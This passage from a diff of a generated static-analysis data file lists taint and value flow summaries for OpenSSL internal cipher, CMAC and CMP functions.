"dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_chunked_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*0].Field[*iv]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb1", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_cfb8", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ctr", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_generic_ofb128", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_cbc", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*0].Field[*tks].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[**ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*0].Field[*tks].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[***ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*1].Field[*tks].Union[*(unnamed class/struct/union)]", "Argument[*0].Field[**ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_copyctx", "(PROV_CIPHER_CTX *,const PROV_CIPHER_CTX *)", "", "Argument[*1].Field[*tks].Union[**(unnamed class/struct/union)]", "Argument[*0].Field[***ks]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ecb", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ecb", "(PROV_CIPHER_CTX *,unsigned char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_hw_tdes_ede3_initkey", "(PROV_CIPHER_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_padblock", "(unsigned char *,size_t *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*3]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[*3]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[3]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_tlsunpadblock", "(OSSL_LIB_CTX *,unsigned int,unsigned char *,size_t *,size_t,unsigned char **,int *,size_t,int)", "", "Argument[7]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[**3]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_trailingdata", "(unsigned char *,size_t *,size_t,const unsigned char **,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_unpadblock", "(unsigned char *,size_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cipher_var_keylen_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[2]", "Argument[*0].Field[**cctx].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**cctx].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**cctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmac_init", "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_get_int", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_get_int", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1", "(ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_asn1_octet_string_set1_bytes", "(ASN1_OCTET_STRING **,const unsigned char *,int)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_bodytype_to_string", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_certConf_new", "(OSSL_CMP_CTX *,int,int,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certrep_new", "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_certrepmessage_get0_certresponse", "(const OSSL_CMP_CERTREPMESSAGE *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certrepmessage_get0_certresponse", "(const OSSL_CMP_CERTREPMESSAGE *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certreq_new", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_certreq_new", "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)", "", "Argument[1]", "ReturnValue[*].Field[**body].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certresponse_get1_cert", "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certresponse_get1_cert", "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_certstatus_set0_certHash", "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**certHash]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_certstatus_set0_certHash", "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*certHash]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_get0_newPubkey", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_get0_newPubkey", "(const OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_newCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[*0].Field[**newCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_newCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*newCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_statusString", "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)", "", "Argument[*1]", "Argument[*0].Field[**statusString]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set0_statusString", "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)", "", "Argument[1]", "Argument[*0].Field[*statusString]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_caPubs", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**caPubs]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_caPubs", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_extraCertsIn", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**extraCertsIn]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_extraCertsIn", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_first_senderNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_newChain", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**newChain]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_newChain", "(OSSL_CMP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_recipNonce", "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_validatedSrvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_ctx_set1_validatedSrvCert", "(OSSL_CMP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*validatedSrvCert]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set_failInfoCode", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*failInfoCode]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_ctx_set_status", "(OSSL_CMP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*status]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_error_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_error_new", "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_genm_new", "(OSSL_CMP_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_genp_new", "(OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**generalInfo].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[*1]", "Argument[*0].Field[**generalInfo].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**generalInfo].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push0_item", "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)", "", "Argument[1]", "Argument[*0].Field[**generalInfo].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_generalInfo_push1_items", "(OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get0_senderNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[**senderNonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get0_senderNonce", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0].Field[*senderNonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_get_pvno", "(const OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_init", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_init", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[*1]", "Argument[*0].Field[**freeText].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[*1]", "Argument[*0].Field[**freeText].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[1]", "Argument[*0].Field[**freeText].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_push0_freeText", "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)", "", "Argument[1]", "Argument[*0].Field[**freeText].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_recipient", "(OSSL_CMP_PKIHEADER *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_sender", "(OSSL_CMP_PKIHEADER *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set1_senderKID", "(OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_set_pvno", "(OSSL_CMP_PKIHEADER *,int)", "", "Argument[1]", "Argument[*0].Field[**pvno].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_cmp_hdr_set_transactionID", "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_hdr_update_messageTime", "(OSSL_CMP_PKIHEADER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[*0]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ossl_cmp_log_parse_metadata", "(const char *,OSSL_CMP_severity *,char **,char **,int *)", "", 